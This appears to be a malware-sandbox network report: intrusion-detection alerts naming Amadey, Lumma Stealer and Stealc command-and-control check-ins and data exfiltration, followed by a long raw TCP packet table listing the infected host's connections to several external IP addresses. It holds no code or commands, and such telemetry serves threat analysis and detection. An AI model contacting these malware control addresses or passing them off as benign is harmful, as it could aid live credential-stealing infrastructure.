2024-11-24T14:28:35.088490+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50257	TCP
2024-11-24T14:28:35.648300+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50259	104.21.33.116	443	TCP
2024-11-24T14:28:35.648300+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50259	104.21.33.116	443	TCP
2024-11-24T14:28:36.544634+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50260	185.215.113.43	80	TCP
2024-11-24T14:28:36.995946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:37.733645+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:37.733645+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:39.212204+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50263	104.21.33.116	443	TCP
2024-11-24T14:28:40.964779+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50264	185.215.113.206	80	TCP
2024-11-24T14:28:41.703107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50266	104.21.33.116	443	TCP
2024-11-24T14:28:41.740281+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50265	185.215.113.43	80	TCP
2024-11-24T14:28:42.642917+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50266	104.21.33.116	443	TCP
2024-11-24T14:28:44.240010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50269	104.21.33.116	443	TCP
2024-11-24T14:28:46.463768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50270	104.21.33.116	443	TCP
2024-11-24T14:28:47.087972+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50271	185.215.113.43	80	TCP
2024-11-24T14:28:48.978447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50273	104.21.33.116	443	TCP
2024-11-24T14:28:49.452234+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50274	104.21.33.116	443	TCP
2024-11-24T14:28:50.649439+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50274	104.21.33.116	443	TCP
2024-11-24T14:28:50.649439+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50274	104.21.33.116	443	TCP
2024-11-24T14:28:52.141741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50275	104.21.33.116	443	TCP
2024-11-24T14:28:52.621418+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50276	185.215.113.43	80	TCP
2024-11-24T14:28:52.830055+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50275	104.21.33.116	443	TCP
2024-11-24T14:28:52.830055+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50275	104.21.33.116	443	TCP
2024-11-24T14:28:53.840662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50277	104.21.33.116	443	TCP
2024-11-24T14:28:54.354383+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50278	104.21.33.116	443	TCP
2024-11-24T14:28:54.576381+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50277	104.21.33.116	443	TCP
2024-11-24T14:28:56.124156+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50280	185.215.113.16	80	TCP
2024-11-24T14:28:56.639286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50281	104.21.33.116	443	TCP
2024-11-24T14:28:58.664789+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50286	185.215.113.206	80	TCP
2024-11-24T14:28:58.827096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50300	104.21.33.116	443	TCP
2024-11-24T14:29:00.982474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50311	104.21.33.116	443	TCP
2024-11-24T14:29:03.235671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50318	104.21.33.116	443	TCP
2024-11-24T14:29:04.135241+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50318	104.21.33.116	443	TCP
2024-11-24T14:29:05.360835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50321	104.21.33.116	443	TCP
2024-11-24T14:29:06.054903+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50321	104.21.33.116	443	TCP
2024-11-24T14:29:07.510509+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50322	185.215.113.16	80	TCP
2024-11-24T14:29:08.476028+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50323	185.215.113.43	80	TCP
2024-11-24T14:29:30.512739+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50363	185.215.113.206	80	TCP
2024-11-24T14:30:48.086249+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50434	TCP
2024-11-24T14:30:49.466203+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50441	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 14:24:05.804332972 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:05.924001932 CET	80	49748	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:05.924117088 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:05.924273014 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:06.043745995 CET	80	49748	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:07.351854086 CET	80	49748	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:07.352066994 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:08.860483885 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:08.860795975 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:08.980528116 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:08.980597019 CET	80	49748	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:08.980623960 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:08.980662107 CET	49748	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:08.980829000 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:09.100630999 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:10.371478081 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:10.371650934 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:10.375135899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:10.494801998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:10.494894981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:10.495048046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:10.614527941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879380941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879441977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879466057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879473925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879489899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879514933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879522085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879553080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879555941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879587889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879595041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879627943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879633904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879667997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879677057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879704952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879714966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879741907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.879751921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.879786968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:11.999629974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.999783993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:11.999906063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.003693104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.003770113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.003829002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.083101988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.083142996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.083168030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.083194971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.084873915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.084935904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.084984064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.085026026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.093528986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.093585014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.093609095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.093657017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.101699114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.101749897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.101814032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.101861000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.110045910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.110096931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.110218048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.110270023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.118721008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.118777037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.118815899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.118866920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.126810074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.126862049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.126952887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.127003908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.135171890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.135225058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.135305882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.135376930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.143635035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.143688917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.143708944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.143757105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.150819063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.150868893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.150886059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.150930882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.158145905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.158205986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.158225060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.158274889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.165345907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.165395021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.165448904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.165496111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.282305002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.282454014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.282532930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.285197973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.285478115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.285547018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.290034056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.290158987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.290237904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.295151949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.295393944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.295454025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.300474882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.300539970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.300609112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.301031113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.305569887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.305752039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.305816889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.310488939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.310643911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.310693979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.315476894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.315752983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.315831900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.320653915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.320815086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.320911884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.328125000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.328161001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.328228951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.331016064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.331218004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.331278086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.335304976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.335481882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.335536957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.340276003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.340408087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.340464115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.345237017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.345360041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.345412016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.350265026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.350481987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.350534916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.355635881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.355812073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.355865002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.360811949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.360879898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.361129045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.361190081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.365829945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.365900040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.366117001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.366172075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.370946884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.370990992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.371109962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.373029947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.375873089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.375936985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.376018047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.376096010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.380928993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.380965948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.381028891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.385814905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.388837099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.484672070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.484853029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.484913111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.486665964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.486989975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.487052917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.490736008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.490919113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.490972042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.493789911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.493923903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.493974924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.497713089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.497849941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.497903109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.501610041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.501686096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.501733065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.505616903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.505671978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.505723000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.509968042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.510021925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.510081053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.512645006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.512700081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.512767076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.513031960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.516261101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.516381025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.516433954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.520034075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.520252943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.520297050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.523366928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.523509026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.523557901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.526896954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.526947975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.527018070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.527251959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.530550957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.530693054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.530745983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.534077883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.534225941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.534282923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.537719011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.537905931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.537959099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.541265011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.541352034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.541408062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.544848919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.544900894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.544950008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.545033932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.548397064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.548451900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.548470020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.548517942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.554039955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.554078102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.554132938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.556552887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.556957960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.557008982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.560179949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.560363054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.560417891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.563832045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.563998938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.564054012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.567287922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.567466974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.567518950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.570868015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.571044922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.571084976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.574853897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.575026989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.575076103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.578175068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.578349113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.578417063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.581614017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.581958055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.582024097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.585196972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.585369110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.585424900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.588825941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.588879108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.588951111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.589035988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.593318939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.593475103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.593539000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.596030951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.596107006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.596162081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.597052097 CET	49760	80	192.168.2.4	31.41.244.11
